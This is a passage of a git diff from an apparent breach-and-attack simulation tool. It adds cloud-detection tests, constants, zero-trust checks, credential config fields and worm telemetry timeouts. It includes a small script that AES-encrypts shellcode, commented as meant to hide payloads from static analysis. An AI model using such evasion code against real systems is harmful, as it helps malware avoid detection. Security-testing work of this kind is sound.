test_get_cloud_provider_name_bad_data_not_json(bad_data_not_json_mock_instance): + assert bad_data_not_json_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_bad_data_not_json(bad_data_not_json_mock_instance): + assert bad_data_not_json_mock_instance.instance_name is None + assert bad_data_not_json_mock_instance.instance_id is None + assert bad_data_not_json_mock_instance.location is None + + +# bad request +@pytest.fixture +def bad_request_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, exc=requests.RequestException) + + +def test_is_instance_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.instance_name is None + assert bad_request_mock_instance.instance_id is None + assert bad_request_mock_instance.location is None + + +# not found request +@pytest.fixture +def not_found_request_mock_instance(): + return get_test_azure_instance(AZURE_METADATA_SERVICE_URL, status_code=404) + + +def test_is_instance_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_cloud_provider_name() == Environment.AZURE + + +def test_instance_attributes_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.instance_name is None + assert not_found_request_mock_instance.instance_id is None + assert not_found_request_mock_instance.location is None diff --git a/monkey/common/cloud/gcp/gcp_instance.py b/monkey/common/cloud/gcp/gcp_instance.py index 54f7e6d24..6c14500db 100644 --- a/monkey/common/cloud/gcp/gcp_instance.py +++ b/monkey/common/cloud/gcp/gcp_instance.py @@ -4,6 +4,7 @@ import requests from common.cloud.environment_names import Environment from common.cloud.instance import CloudInstance +from common.common_consts.timeouts import SHORT_REQUEST_TIMEOUT logger = logging.getLogger(__name__) @@ -16,21 +17,21 @@ class GcpInstance(CloudInstance): Used to determine if on GCP. See https://cloud.google.com/compute/docs/storing-retrieving-metadata#runninggce """ def is_instance(self): - return self.on_gcp + return self._on_gcp def get_cloud_provider_name(self) -> Environment: return Environment.GCP def __init__(self): - self.on_gcp = False + self._on_gcp = False try: # If not on GCP, this domain shouldn't resolve. - response = requests.get(GCP_METADATA_SERVICE_URL) + response = requests.get(GCP_METADATA_SERVICE_URL, timeout=SHORT_REQUEST_TIMEOUT) if response: logger.debug("Got ok metadata response: on GCP") - self.on_gcp = True + self._on_gcp = True if "Metadata-Flavor" not in response.headers: logger.warning("Got unexpected GCP Metadata format") @@ -41,4 +42,4 @@ class GcpInstance(CloudInstance): logger.warning("On GCP, but metadata response not ok: {}".format(response.status_code)) except requests.RequestException: logger.debug("Failed to get response from GCP metadata service: This instance is not on GCP") - self.on_gcp = False + self._on_gcp = False diff --git a/monkey/common/cloud/gcp/test_gcp_instance.py b/monkey/common/cloud/gcp/test_gcp_instance.py new file mode 100644 index 000000000..9170b81c5 --- /dev/null +++ b/monkey/common/cloud/gcp/test_gcp_instance.py @@ -0,0 +1,55 @@ +import pytest +import requests +import requests_mock + +from common.cloud.environment_names import Environment +from common.cloud.gcp.gcp_instance import GCP_METADATA_SERVICE_URL, GcpInstance + + +def get_test_gcp_instance(url, **kwargs): + with requests_mock.Mocker() as m: + m.get(url, **kwargs) + test_gcp_instance_object = GcpInstance() + return test_gcp_instance_object + + +# good request +@pytest.fixture +def good_request_mock_instance(): + return get_test_gcp_instance(GCP_METADATA_SERVICE_URL) + + +def test_is_instance_good_request(good_request_mock_instance): + assert good_request_mock_instance.is_instance() + + +def test_get_cloud_provider_name_good_request(good_request_mock_instance): + assert good_request_mock_instance.get_cloud_provider_name() == Environment.GCP + + +# bad request +@pytest.fixture +def bad_request_mock_instance(): + return get_test_gcp_instance(GCP_METADATA_SERVICE_URL, exc=requests.RequestException) + + +def test_is_instance_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_bad_request(bad_request_mock_instance): + assert bad_request_mock_instance.get_cloud_provider_name() == Environment.GCP + + +# not found request +@pytest.fixture +def not_found_request_mock_instance(): + return get_test_gcp_instance(GCP_METADATA_SERVICE_URL, status_code=404) + + +def test_is_instance_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.is_instance() is False + + +def test_get_cloud_provider_name_not_found_request(not_found_request_mock_instance): + assert not_found_request_mock_instance.get_cloud_provider_name() == Environment.GCP diff --git a/monkey/common/cloud/scoutsuite_consts.py b/monkey/common/cloud/scoutsuite_consts.py new file mode 100644 index 000000000..4db862a4a --- /dev/null +++ b/monkey/common/cloud/scoutsuite_consts.py @@ -0,0 +1,9 @@ +from enum import Enum + + +class CloudProviders(Enum): + AWS = 'aws' + AZURE = 'azure' + GCP = 'gcp' + ALIBABA = 'aliyun' + ORACLE = 'oci' diff --git a/monkey/common/data/__init__.py b/monkey/common/common_consts/__init__.py similarity index 100% rename from monkey/common/data/__init__.py rename to monkey/common/common_consts/__init__.py diff --git a/monkey/common/common_consts/api_url_consts.py b/monkey/common/common_consts/api_url_consts.py new file mode 100644 index 000000000..4fef6b11b --- /dev/null +++ b/monkey/common/common_consts/api_url_consts.py @@ -0,0 +1 @@ +T1216_PBA_FILE_DOWNLOAD_PATH = '/api/t1216-pba/download' diff --git a/monkey/common/data/network_consts.py b/monkey/common/common_consts/network_consts.py similarity index 100% rename from monkey/common/data/network_consts.py rename to monkey/common/common_consts/network_consts.py diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/common_consts/post_breach_consts.py similarity index 66% rename from monkey/common/data/post_breach_consts.py rename to monkey/common/common_consts/post_breach_consts.py index c3bba9950..25e6679cb 100644 --- a/monkey/common/data/post_breach_consts.py +++ b/monkey/common/common_consts/post_breach_consts.py @@ -6,3 +6,7 @@ POST_BREACH_HIDDEN_FILES = "Hide files and directories" POST_BREACH_TRAP_COMMAND = "Execute command when a particular signal is received" POST_BREACH_SETUID_SETGID = "Setuid and Setgid" POST_BREACH_JOB_SCHEDULING = "Schedule jobs" +POST_BREACH_TIMESTOMPING = "Modify files' timestamps" +POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC = "Signed script proxy execution" +POST_BREACH_ACCOUNT_DISCOVERY = "Account discovery" +POST_BREACH_CLEAR_CMD_HISTORY = "Clear command history" diff --git a/monkey/common/data/system_info_collectors_names.py b/monkey/common/common_consts/system_info_collectors_names.py similarity index 84% rename from monkey/common/data/system_info_collectors_names.py rename to monkey/common/common_consts/system_info_collectors_names.py index 175a054e1..c93cb2537 100644 --- a/monkey/common/data/system_info_collectors_names.py +++ b/monkey/common/common_consts/system_info_collectors_names.py @@ -4,3 +4,4 @@ ENVIRONMENT_COLLECTOR = "EnvironmentCollector" PROCESS_LIST_COLLECTOR = "ProcessListCollector" MIMIKATZ_COLLECTOR = "MimikatzCollector" AZURE_CRED_COLLECTOR = "AzureCollector" +SCOUTSUITE_COLLECTOR = "ScoutSuiteCollector" diff --git a/monkey/common/common_consts/telem_categories.py b/monkey/common/common_consts/telem_categories.py new file mode 100644 index 000000000..70066d290 --- /dev/null +++ b/monkey/common/common_consts/telem_categories.py @@ -0,0 +1,10 @@ +class TelemCategoryEnum: + EXPLOIT = 'exploit' + POST_BREACH = 'post_breach' + SCAN = 'scan' + SCOUTSUITE = 'scoutsuite' + STATE = 'state' + SYSTEM_INFO = 'system_info' + TRACE = 'trace' + TUNNEL = 'tunnel' + ATTACK = 'attack' diff --git a/monkey/common/common_consts/timeouts.py b/monkey/common/common_consts/timeouts.py new file mode 100644 index 000000000..f315e7518 --- /dev/null +++ b/monkey/common/common_consts/timeouts.py @@ -0,0 +1,3 @@ +SHORT_REQUEST_TIMEOUT = 2.5 # Seconds. Use where we expect timeout. +MEDIUM_REQUEST_TIMEOUT = 5 # Seconds. Use where we don't expect timeout. +LONG_REQUEST_TIMEOUT = 15 # Seconds. Use where we don't expect timeout and operate heavy data. diff --git a/monkey/common/data/validation_formats.py b/monkey/common/common_consts/validation_formats.py similarity index 100% rename from monkey/common/data/validation_formats.py rename to monkey/common/common_consts/validation_formats.py diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/common_consts/zero_trust_consts.py similarity index 64% rename from monkey/common/data/zero_trust_consts.py rename to monkey/common/common_consts/zero_trust_consts.py index 8d55bc320..f0a624bdf 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/common_consts/zero_trust_consts.py @@ -31,6 +31,14 @@ TEST_MALICIOUS_ACTIVITY_TIMELINE = "malicious_activity_timeline" TEST_SEGMENTATION = "segmentation" TEST_TUNNELING = "tunneling" TEST_COMMUNICATE_AS_NEW_USER = "communicate_as_new_user" +TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES = "scoutsuite_permissive_firewall_rules" +TEST_SCOUTSUITE_UNENCRYPTED_DATA = "scoutsuite_unencrypted_data" +TEST_SCOUTSUITE_DATA_LOSS_PREVENTION = "scoutsuite_data_loss_prevention" +TEST_SCOUTSUITE_SECURE_AUTHENTICATION = "scoutsuite_secure_authentication" +TEST_SCOUTSUITE_RESTRICTIVE_POLICIES = "scoutsuite_unrestrictive_policies" +TEST_SCOUTSUITE_LOGGING = "scoutsuite_logging" +TEST_SCOUTSUITE_SERVICE_SECURITY = "scoutsuite_service_security" + TESTS = ( TEST_SEGMENTATION, TEST_MALICIOUS_ACTIVITY_TIMELINE, @@ -40,25 +48,38 @@ TESTS = ( TEST_DATA_ENDPOINT_HTTP, TEST_DATA_ENDPOINT_ELASTIC, TEST_TUNNELING, - TEST_COMMUNICATE_AS_NEW_USER + TEST_COMMUNICATE_AS_NEW_USER, + TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES, + TEST_SCOUTSUITE_UNENCRYPTED_DATA, + TEST_SCOUTSUITE_DATA_LOSS_PREVENTION, + TEST_SCOUTSUITE_SECURE_AUTHENTICATION, + TEST_SCOUTSUITE_RESTRICTIVE_POLICIES, + TEST_SCOUTSUITE_LOGGING, + TEST_SCOUTSUITE_SERVICE_SECURITY ) -PRINCIPLE_DATA_TRANSIT = "data_transit" +PRINCIPLE_DATA_CONFIDENTIALITY = "data_transit" PRINCIPLE_ENDPOINT_SECURITY = "endpoint_security" PRINCIPLE_USER_BEHAVIOUR = "user_behaviour" PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = "analyze_network_traffic" PRINCIPLE_SEGMENTATION = "segmentation" PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = "network_policies" PRINCIPLE_USERS_MAC_POLICIES = "users_mac_policies" +PRINCIPLE_DISASTER_RECOVERY = "data_backup" +PRINCIPLE_SECURE_AUTHENTICATION = "secure_authentication" +PRINCIPLE_MONITORING_AND_LOGGING = "monitoring_and_logging" PRINCIPLES = { PRINCIPLE_SEGMENTATION: "Apply segmentation and micro-segmentation inside your network.", PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: "Analyze network traffic for malicious activity.", PRINCIPLE_USER_BEHAVIOUR: "Adopt security user behavior analytics.", PRINCIPLE_ENDPOINT_SECURITY: "Use anti-virus and other traditional endpoint security solutions.", - PRINCIPLE_DATA_TRANSIT: "Secure data at transit by encrypting it.", + PRINCIPLE_DATA_CONFIDENTIALITY: "Ensure data's confidentiality by encrypting it.", PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: "Configure network policies to be as restrictive as possible.", PRINCIPLE_USERS_MAC_POLICIES: "Users' permissions to the network and to resources should be MAC (Mandatory " "Access Control) only.", + PRINCIPLE_DISASTER_RECOVERY: "Ensure data and infrastructure backups for disaster recovery scenarios.", + PRINCIPLE_SECURE_AUTHENTICATION: "Ensure secure authentication process's.", + PRINCIPLE_MONITORING_AND_LOGGING: "Ensure monitoring and logging in network resources." } POSSIBLE_STATUSES_KEY = "possible_statuses" @@ -129,7 +150,7 @@ TESTS_MAP = { STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts " "that indicate attempts to access them. " }, - PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, + PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, @@ -140,7 +161,7 @@ TESTS_MAP = { STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate " "attempts to access them. " }, - PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT, + PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, PILLARS_KEY: [DATA], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, @@ -165,6 +186,76 @@ TESTS_MAP = { PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] }, + TEST_SCOUTSUITE_PERMISSIVE_FIREWALL_RULES: { + TEST_EXPLANATION_KEY: "ScoutSuite assessed cloud firewall rules and settings.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found overly permissive firewall rules.", + STATUS_PASSED: "ScoutSuite found no problems with cloud firewall rules." + }, + PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES, + PILLARS_KEY: [NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, + TEST_SCOUTSUITE_UNENCRYPTED_DATA: { + TEST_EXPLANATION_KEY: "ScoutSuite searched for resources containing unencrypted data.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found resources with unencrypted data.", + STATUS_PASSED: "ScoutSuite found no resources with unencrypted data." + }, + PRINCIPLE_KEY: PRINCIPLE_DATA_CONFIDENTIALITY, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, + TEST_SCOUTSUITE_DATA_LOSS_PREVENTION: { + TEST_EXPLANATION_KEY: "ScoutSuite searched for resources which are not protected against data loss.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found resources not protected against data loss.", + STATUS_PASSED: "ScoutSuite found that all resources are secured against data loss." + }, + PRINCIPLE_KEY: PRINCIPLE_DISASTER_RECOVERY, + PILLARS_KEY: [DATA], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, + TEST_SCOUTSUITE_SECURE_AUTHENTICATION: { + TEST_EXPLANATION_KEY: "ScoutSuite searched for issues related to users' authentication.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found issues related to users' authentication.", + STATUS_PASSED: "ScoutSuite found no issues related to users' authentication." + }, + PRINCIPLE_KEY: PRINCIPLE_SECURE_AUTHENTICATION, + PILLARS_KEY: [PEOPLE, WORKLOADS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, + TEST_SCOUTSUITE_RESTRICTIVE_POLICIES: { + TEST_EXPLANATION_KEY: "ScoutSuite searched for permissive user access policies.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found permissive user access policies.", + STATUS_PASSED: "ScoutSuite found no issues related to user access policies." + }, + PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES, + PILLARS_KEY: [PEOPLE, WORKLOADS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, + TEST_SCOUTSUITE_LOGGING: { + TEST_EXPLANATION_KEY: "ScoutSuite searched for issues, related to logging.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found logging issues.", + STATUS_PASSED: "ScoutSuite found no logging issues." + }, + PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, + PILLARS_KEY: [AUTOMATION_ORCHESTRATION, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, + TEST_SCOUTSUITE_SERVICE_SECURITY: { + TEST_EXPLANATION_KEY: "ScoutSuite searched for service security issues.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "ScoutSuite found service security issues.", + STATUS_PASSED: "ScoutSuite found no service security issues." + }, + PRINCIPLE_KEY: PRINCIPLE_MONITORING_AND_LOGGING, + PILLARS_KEY: [DEVICES, NETWORKS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + } } EVENT_TYPE_MONKEY_NETWORK = "monkey_network" diff --git a/monkey/common/config_value_paths.py b/monkey/common/config_value_paths.py new file mode 100644 index 000000000..5ddbe8605 --- /dev/null +++ b/monkey/common/config_value_paths.py @@ -0,0 +1,13 @@ +AWS_KEYS_PATH = ['internal', 'monkey', 'aws_keys'] +STARTED_ON_ISLAND_PATH = ['internal', 'general', 'started_on_island'] +EXPORT_MONKEY_TELEMS_PATH = ['internal', 'testing', 'export_monkey_telems'] +CURRENT_SERVER_PATH = ['internal', 'island_server', 'current_server'] +SSH_KEYS_PATH = ['internal', 'exploits', 'exploit_ssh_keys'] +INACCESSIBLE_SUBNETS_PATH = ['basic_network', 'network_analysis', 'inaccessible_subnets'] +USER_LIST_PATH = ['basic', 'credentials', 'exploit_user_list'] +PASSWORD_LIST_PATH = ['basic', 'credentials', 'exploit_password_list'] +EXPLOITER_CLASSES_PATH = ['basic', 'exploiters', 'exploiter_classes'] +SUBNET_SCAN_LIST_PATH = ['basic_network', 'scope', 'subnet_scan_list'] +LOCAL_NETWORK_SCAN_PATH = ['basic_network', 'scope', 'local_network_scan'] +LM_HASH_LIST_PATH = ['internal', 'exploits', 'exploit_lm_hash_list'] +NTLM_HASH_LIST_PATH = ['internal', 'exploits', 'exploit_ntlm_hash_list'] diff --git a/monkey/common/network/network_range.py b/monkey/common/network/network_range.py index b778bb5f9..7eb082c8f 100644 --- a/monkey/common/network/network_range.py +++ b/monkey/common/network/network_range.py @@ -28,7 +28,7 @@ class NetworkRange(object, metaclass=ABCMeta): """ base_range = self.get_range() if self._shuffle: - random.shuffle(base_range) + random.shuffle(base_range) # noqa: DUO102 for x in base_range: yield self._number_to_ip(x) diff --git a/monkey/common/network/network_utils.py b/monkey/common/network/network_utils.py index 230e494bf..e99d0cf2b 100644 --- a/monkey/common/network/network_utils.py +++ b/monkey/common/network/network_utils.py @@ -1,3 +1,4 @@ +import re from urllib.parse import urlparse @@ -10,3 +11,10 @@ def get_host_from_network_location(network_location: str) -> str: """ url = urlparse("http://" + network_location) return str(url.hostname) + + +def remove_port(url): + parsed = urlparse(url) + with_port = f'{parsed.scheme}://{parsed.netloc}' + without_port = re.sub(':[0-9]+(?=$|\/)', '', with_port) + return without_port diff --git a/monkey/common/network/test_network_utils.py b/monkey/common/network/test_network_utils.py index b4194aa27..396bc1c0a 100644 --- a/monkey/common/network/test_network_utils.py +++ b/monkey/common/network/test_network_utils.py @@ -1,12 +1,17 @@ from unittest import TestCase -from common.network.network_utils import get_host_from_network_location +from common.network.network_utils import get_host_from_network_location, remove_port class TestNetworkUtils(TestCase): - def test_remove_port_from_ip_string(self): + def test_get_host_from_network_location(self): assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1" assert get_host_from_network_location("127.0.0.1:12345") == "127.0.0.1" assert get_host_from_network_location("127.0.0.1") == "127.0.0.1" assert get_host_from_network_location("www.google.com:8080") == "www.google.com" assert get_host_from_network_location("user:password@host:8080") == "host" + + def test_remove_port_from_url(self): + assert remove_port('https://google.com:80') == 'https://google.com' + assert remove_port('https://8.8.8.8:65336') == 'https://8.8.8.8' + assert remove_port('ftp://ftpserver.com:21/hello/world') == 'ftp://ftpserver.com' diff --git a/monkey/common/network/test_segmentation_utils.py b/monkey/common/network/test_segmentation_utils.py index 9dea1af19..1bb3d0484 100644 --- a/monkey/common/network/test_segmentation_utils.py +++ b/monkey/common/network/test_segmentation_utils.py @@ -1,30 +1,28 @@ from common.network.network_range import CidrRange from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst -from monkey_island.cc.testing.IslandTestCase import IslandTestCase -class TestSegmentationUtils(IslandTestCase): +class TestSegmentationUtils: def test_get_ip_in_src_and_not_in_dst(self): - self.fail_if_not_testing_env() source = CidrRange("1.1.1.0/24") target = CidrRange("2.2.2.0/24") # IP not in both - self.assertIsNone(get_ip_in_src_and_not_in_dst( + assert get_ip_in_src_and_not_in_dst( ["3.3.3.3", "4.4.4.4"], source, target - )) + ) is None # IP not in source, in target - self.assertIsNone(get_ip_in_src_and_not_in_dst( + assert (get_ip_in_src_and_not_in_dst( ["2.2.2.2"], source, target - )) + )) is None # IP in source, not in target - self.assertIsNotNone(get_ip_in_src_and_not_in_dst( + assert (get_ip_in_src_and_not_in_dst( ["8.8.8.8", "1.1.1.1"], source, target )) # IP in both subnets - self.assertIsNone(get_ip_in_src_and_not_in_dst( + assert (get_ip_in_src_and_not_in_dst( ["8.8.8.8", "1.1.1.1"], source, source - )) + )) is None diff --git a/monkey/common/utils/code_utils.py b/monkey/common/utils/code_utils.py index 214e6d108..d9ad573b1 100644 --- a/monkey/common/utils/code_utils.py +++ b/monkey/common/utils/code_utils.py @@ -1,5 +1,8 @@ # abstract, static method decorator # noinspection PyPep8Naming +from typing import List + + class abstractstatic(staticmethod): __slots__ = () @@ -8,3 +11,10 @@ class abstractstatic(staticmethod): function.__isabstractmethod__ = True __isabstractmethod__ = True + + +def get_value_from_dict(dict_data: dict, path: List[str]): + current_data = dict_data + for key in path: + current_data = current_data[key] + return current_data diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index fa026933c..8396b423b 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -20,3 +20,35 @@ class CredentialsNotRequiredError(RegistrationNotNeededError): class AlreadyRegisteredError(RegistrationNotNeededError): """ Raise to indicate the reason why registration is not required """ + + +class RulePathCreatorNotFound(Exception): + """ Raise to indicate that ScoutSuite rule doesn't have a path creator""" + + +class InvalidAWSKeys(Exception): + """ Raise to indicate that AWS API keys are invalid""" + + +class NoInternetError(Exception): + """ Raise to indicate problems caused when no internet connection is present""" + + +class ScoutSuiteScanError(Exception): + """ Raise to indicate problems ScoutSuite encountered during scanning""" + + +class UnknownFindingError(Exception): + """ Raise when provided finding is of unknown type""" + + +class VersionServerConnectionError(Exception): + """ Raise to indicate that connection to version update server failed """ + + +class FindingWithoutDetailsError(Exception): + """ Raise when pulling events for a finding, but get none """ + + +class DomainControllerNameFetchError(FailedExploitationError): + """ Raise on failed attempt to extract domain controller's name """ diff --git a/monkey/common/utils/shellcode_obfuscator.py b/monkey/common/utils/shellcode_obfuscator.py new file mode 100644 index 000000000..4e4c2ed3d --- /dev/null +++ b/monkey/common/utils/shellcode_obfuscator.py @@ -0,0 +1,30 @@ +# This code is used to obfuscate shellcode +# Usage: +# shellcode_obfuscator.py [your normal shellcode]. + +import sys + +# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports +from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413 + +# We only encrypt payloads to hide them from static analysis +# it's OK to have these keys plaintext +KEY = b'1234567890123456' +NONCE = b'\x93n2\xbc\xf5\x8d:\xc2fP\xabn\x02\xb3\x17f' + + +# Use this manually to get obfuscated bytes of shellcode +def obfuscate(shellcode: bytes) -> bytes: + cipher = AES.new(KEY, AES.MODE_EAX, nonce=NONCE) + ciphertext, _ = cipher.encrypt_and_digest(shellcode) + return ciphertext + + +def clarify(shellcode: bytes) -> bytes: + cipher = AES.new(KEY, AES.MODE_EAX, nonce=NONCE) + plaintext = cipher.decrypt(shellcode) + return plaintext + + +if __name__ == "__main__": + print(obfuscate(sys.argv[1].encode())) diff --git a/monkey/common/utils/test_shellcode_obfuscator.py b/monkey/common/utils/test_shellcode_obfuscator.py new file mode 100644 index 000000000..7116993f2 --- /dev/null +++ b/monkey/common/utils/test_shellcode_obfuscator.py @@ -0,0 +1,15 @@ +from unittest import TestCase + +from common.utils.shellcode_obfuscator import clarify, obfuscate + +SHELLCODE = b'1234567890abcd' +OBFUSCATED_SHELLCODE = b'\xc7T\x9a\xf4\xb1cn\x94\xb0X\xf2\xfb^=' + + +class TestShellcodeObfuscator(TestCase): + + def test_obfuscate(self): + assert obfuscate(SHELLCODE) == OBFUSCATED_SHELLCODE + + def test_clarify(self): + assert clarify(OBFUSCATED_SHELLCODE) == SHELLCODE diff --git a/monkey/common/utils/wmi_utils.py b/monkey/common/utils/wmi_utils.py index 22ccf112f..fc82663cb 100644 --- a/monkey/common/utils/wmi_utils.py +++ b/monkey/common/utils/wmi_utils.py @@ -1,6 +1,9 @@ import sys if sys.platform.startswith("win"): + import pythoncom + + pythoncom.CoInitialize() import wmi from .mongo_utils import MongoUtils diff --git a/monkey/common/version.py b/monkey/common/version.py index c4e38239e..5e8dd4bf4 100644 --- a/monkey/common/version.py +++ b/monkey/common/version.py @@ -3,7 +3,7 @@ import argparse from pathlib import Path MAJOR = "1" -MINOR = "9" +MINOR = "10" PATCH = "0" build_file_path = Path(__file__).parent.joinpath("BUILD") with open(build_file_path, "r") as build_file: diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 1fbcb876b..018f3aacc 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -1,5 +1,4 @@ import hashlib -import json import os import sys import uuid @@ -12,7 +11,8 @@ GUID = str(uuid.getnode()) EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin') -SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list", "exploit_ssh_keys"] +SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list", "exploit_ssh_keys", "aws_secret_access_key", + "aws_session_token"] LOCAL_CONFIG_VARS = ["name", "id", "current_server", "max_depth"] HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden" @@ -36,16 +36,6 @@ class Configuration(object): self.max_depth = self.depth return unknown_items - def from_json(self, json_data): - """ - Gets a json data object, parses it and applies it to the configuration - :param json_data: - :return: - """ - formatted_data = json.loads(json_data) - result = self.from_kv(formatted_data) - return result - @staticmethod def hide_sensitive_info(config_dict): for field in SENSITIVE_FIELDS: @@ -256,6 +246,10 @@ class Configuration(object): exploit_ntlm_hash_list = [] exploit_ssh_keys = [] + aws_access_key_id = '' + aws_secret_access_key = '' + aws_session_token = '' + # smb/wmi exploiter smb_download_timeout = 300 # timeout in seconds smb_service_name = "InfectionMonkey" diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index 77f3779b2..611166afa 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -2,18 +2,22 @@ import json import logging import platform from socket import gethostname +from urllib.parse import urljoin import requests from requests.exceptions import ConnectionError import infection_monkey.monkeyfs as monkeyfs import infection_monkey.tunnel as tunnel +from common.common_consts.timeouts import (LONG_REQUEST_TIMEOUT, + MEDIUM_REQUEST_TIMEOUT, + SHORT_REQUEST_TIMEOUT) +from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from infection_monkey.config import GUID, WormConfiguration from infection_monkey.network.info import check_internet_access, local_ips from infection_monkey.transport.http import HTTPConnectProxy from infection_monkey.transport.tcp import TcpProxy -from infection_monkey.utils.exceptions.planned_shutdown_exception import \ - PlannedShutdownException +from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException __author__ = 'hoffer' @@ -79,7 +83,7 @@ class ControlClient(object): if ControlClient.proxies: debug_message += " through proxies: %s" % ControlClient.proxies LOG.debug(debug_message) - requests.get("https://%s/api?action=is-up" % (server,), # noqa: DUO123 + requests.get(f"https://{server}/api?action=is-up", # noqa: DUO123 verify=False, proxies=ControlClient.proxies, timeout=TIMEOUT_IN_SECONDS) @@ -119,24 +123,26 @@ class ControlClient(object): data=json.dumps(monkey), headers={'content-type': 'application/json'}, verify=False, - proxies=ControlClient.proxies) + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT) except Exception as exc: LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) return {} @staticmethod - def send_telemetry(telem_category, data): + def send_telemetry(telem_category, json_data: str): if not WormConfiguration.current_server: LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category) return try: - telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data} + telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': json_data} requests.post("https://%s/api/telemetry" % (WormConfiguration.current_server,), # noqa: DUO123 data=json.dumps(telemetry), headers={'content-type': 'application/json'}, verify=False, - proxies=ControlClient.proxies) + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT) except Exception as exc: LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) @@ -151,7 +157,8 @@ class ControlClient(object): data=json.dumps(telemetry), headers={'content-type': 'application/json'}, verify=False, - proxies=ControlClient.proxies) + proxies=ControlClient.proxies, + timeout=MEDIUM_REQUEST_TIMEOUT) except Exception as exc: LOG.warning("Error connecting to control server %s: %s", WormConfiguration.current_server, exc) @@ -163,7 +170,8 @@ class ControlClient(object): try: reply = requests.get("https://%s/api/monkey/%s" % (WormConfiguration.current_server, GUID), # noqa: DUO123 verify=False, - proxies=ControlClient.proxies) + proxies=ControlClient.proxies, + 